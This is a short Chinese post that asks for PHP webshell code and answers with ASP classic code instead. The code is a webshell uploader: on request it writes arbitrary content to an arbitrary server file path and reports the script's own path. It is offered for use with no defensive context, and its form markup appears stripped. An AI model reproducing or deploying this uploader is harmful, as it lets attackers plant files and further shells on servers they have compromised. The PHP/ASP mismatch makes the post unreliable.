求PHP，WEBSHELL代码？

<% if request("action")="ok" then %>

　　<%dim objFSO%>

　　<%dim fdata%>

　　<%dim objCountFile%>

　　<%on error resume next%>

　　<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>

　　<%if Trim(request("syfdpath"))<>"" then%>

　　<%fdata = request("cyfddata")%>

　　<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>

　　<%objCountFile.Write fdata%>

　　<%if err =0 then%>

　　<%response.write "save Success!"%>

　　<%else%>

　　<%response.write "Save UnSuccess!"%>

　　<%end if%>

　　<%err.clear%>

　　<%end if%>

　　<%objCountFile.Close%>

　　<%Set objCountFile=Nothing%>

　　<%Set objFSO = Nothing%>

　　<%Response.write " "%><%Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):"%>

　　<%Response.Write ""%>

　　<%Response.Write "

　　"%>

　　<%Response.write "本文件绝对路径"%>

　　<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>

　　<%Response.write "

　　"%>

　　<%Response.write "输入的内容:"%>

　　<%Response.write ""%>

　　<%Response.write ""%>

　　<%Response.write ""%><% end if%>